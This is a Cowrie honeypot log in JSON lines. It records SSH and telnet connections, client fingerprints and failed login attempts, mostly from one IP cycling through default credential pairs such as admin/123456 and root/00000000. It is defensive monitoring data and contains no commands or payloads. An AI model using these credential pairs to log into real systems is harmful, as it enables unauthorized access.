{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:52.716854Z","src_ip":"176.65.132.254","session":"8d49290d50ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59934,"dst_ip":"10.17.0.5","dst_port":23,"session":"03eba5800982","protocol":"telnet","message":"New connection: 38.54.119.93:59934 (10.17.0.5:23) [session: 03eba5800982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:52.890569Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:52.964233Z","src_ip":"176.65.132.254","session":"8d49290d50ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:54.058813Z","src_ip":"176.65.132.254","session":"8d49290d50ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.44337010383606,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:54.926277Z","src_ip":"134.209.8.29","session":"f49bf9db0bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48530,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb37abfaa077","protocol":"ssh","message":"New connection: 176.65.132.254:48530 (10.17.0.5:22) [session: cb37abfaa077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:56.715353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:56.720102Z","src_ip":"176.65.132.254","session":"cb37abfaa077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:56.802157Z","src_ip":"176.65.132.254","session":"cb37abfaa077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:57.355798Z","src_ip":"176.65.132.254","session":"cb37abfaa077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:52:58.452728Z","src_ip":"176.65.132.254","session":"cb37abfaa077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48540,"dst_ip":"10.17.0.5","dst_port":22,"session":"4297c80543b6","protocol":"ssh","message":"New connection: 176.65.132.254:48540 (10.17.0.5:22) [session: 4297c80543b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:01.167799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:01.173342Z","src_ip":"176.65.132.254","session":"4297c80543b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:01.261197Z","src_ip":"176.65.132.254","session":"4297c80543b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":50192,"dst_ip":"159.203.135.109","dst_port":23,"session":"42f9d41b041e","protocol":"telnet","message":"New connection: 134.209.8.29:50192 (159.203.135.109:23) [session: 42f9d41b041e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:01.473747Z"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:01.551087Z","src_ip":"176.65.132.254","session":"4297c80543b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:02.644036Z","src_ip":"176.65.132.254","session":"4297c80543b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39350,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef190cc38675","protocol":"telnet","message":"New connection: 38.54.119.93:39350 (10.17.0.5:23) [session: ef190cc38675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:03.909134Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60816,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1520080470f","protocol":"ssh","message":"New connection: 176.65.132.254:60816 (10.17.0.5:22) [session: d1520080470f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:05.568043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:05.572827Z","src_ip":"176.65.132.254","session":"d1520080470f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:05.654923Z","src_ip":"176.65.132.254","session":"d1520080470f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:05.940795Z","src_ip":"176.65.132.254","session":"d1520080470f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.34629774093628,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:06.702064Z","src_ip":"134.209.8.29","session":"4cb678444ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:07.037981Z","src_ip":"176.65.132.254","session":"d1520080470f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60818,"dst_ip":"10.17.0.5","dst_port":22,"session":"88a84c8f49ea","protocol":"ssh","message":"New connection: 176.65.132.254:60818 (10.17.0.5:22) [session: 88a84c8f49ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:10.068966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:10.074616Z","src_ip":"176.65.132.254","session":"88a84c8f49ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:10.165572Z","src_ip":"176.65.132.254","session":"88a84c8f49ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:10.437899Z","src_ip":"176.65.132.254","session":"88a84c8f49ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:11.824991Z","src_ip":"176.65.132.254","session":"88a84c8f49ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58476,"dst_ip":"10.17.0.5","dst_port":22,"session":"9491360d7b76","protocol":"ssh","message":"New connection: 176.65.132.254:58476 (10.17.0.5:22) [session: 9491360d7b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:14.401980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:14.407208Z","src_ip":"176.65.132.254","session":"9491360d7b76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:14.489408Z","src_ip":"176.65.132.254","session":"9491360d7b76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:14.745626Z","src_ip":"176.65.132.254","session":"9491360d7b76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:15.841366Z","src_ip":"176.65.132.254","session":"9491360d7b76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58488,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0d2bd22e749","protocol":"ssh","message":"New connection: 176.65.132.254:58488 (10.17.0.5:22) [session: f0d2bd22e749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:18.718325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:18.726465Z","src_ip":"176.65.132.254","session":"f0d2bd22e749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:18.808322Z","src_ip":"176.65.132.254","session":"f0d2bd22e749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:19.053736Z","src_ip":"176.65.132.254","session":"f0d2bd22e749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:20.143432Z","src_ip":"176.65.132.254","session":"f0d2bd22e749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58660,"dst_ip":"10.17.0.5","dst_port":22,"session":"7df1aeae5e20","protocol":"ssh","message":"New connection: 176.65.132.254:58660 (10.17.0.5:22) [session: 7df1aeae5e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:22.892865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:22.897553Z","src_ip":"176.65.132.254","session":"7df1aeae5e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:22.979389Z","src_ip":"176.65.132.254","session":"7df1aeae5e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:23.382203Z","src_ip":"176.65.132.254","session":"7df1aeae5e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:24.469613Z","src_ip":"176.65.132.254","session":"7df1aeae5e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":58534,"dst_ip":"159.203.135.109","dst_port":23,"session":"0495aece4f6d","protocol":"telnet","message":"New connection: 134.209.8.29:58534 (159.203.135.109:23) [session: 0495aece4f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:25.644863Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58662,"dst_ip":"10.17.0.5","dst_port":22,"session":"206af6df5943","protocol":"ssh","message":"New connection: 176.65.132.254:58662 (10.17.0.5:22) [session: 206af6df5943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:27.284406Z"}
